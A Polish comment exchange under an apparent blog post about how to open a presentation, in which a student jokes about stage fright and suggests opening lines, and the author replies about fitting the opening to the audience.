Na razie nie stosowałam tej metody do celów prezentacji edukacyjnych, więc nie mam z tym doświadczeń, ale pomysł uważam za świetny 😉
Robercie!!! Schudłeś!!! :):):) Chyba, że to stare nagranie 😉
Choć zmykam przed wystąpieniami w siną dal, zawsze mogę się trochę powymądrzać. Poomyślałam sobie, że gdybym ja stanęła przed publicznością (studentka ze swoją prezentacją o pracy magisterskiej), dałabym upust swoim wrażeniom typu: O choinka, ale was dużo! Albo: hm, ta sala z tej perspektywy wygląda na znacznie większą… Albo, o wreszcie widzę wasze twarze!! Albo: halo halo, próba głosu, czy tam z tyłu dobrze mnie słychać? Albo: pochować gazety, gry w telefonach, bo teraz bedę mówić o ciekawych i ważnych sprawach. Pomysłów 102 w wyobraźni. Niestety nie wyobrażam sobie stanąć przed ludźmi i wykrztusić własnego nazwiska. Choć niestety czeka mnie to bankowo………… Brrrrrrrrrrrrrrrrrrr…….
Pozdrowionka!!
PS. A to z Częstotliowścią i amplitudą drżenia rąk, to genialne!! :D:D:D
Cześć Patrycjo!
Rzeczywiście schudłem 🙂 Od wakacji ubyło mi około 14 kilogramów!
Co do proponowanego przeze mnie wprowadzenie do prezentacji, to słusznie zauważyłaś, że musimy je odpowiednio dobrać pod widzów i dopasować także do swojego temperamentu i stanu ducha. Nie każdy sposób rozpoczęcia wystąpienia pasuje do konkretnego audytorium. Ale z drugiej strony… element zaskoczenia???
pozdrawiam
Robert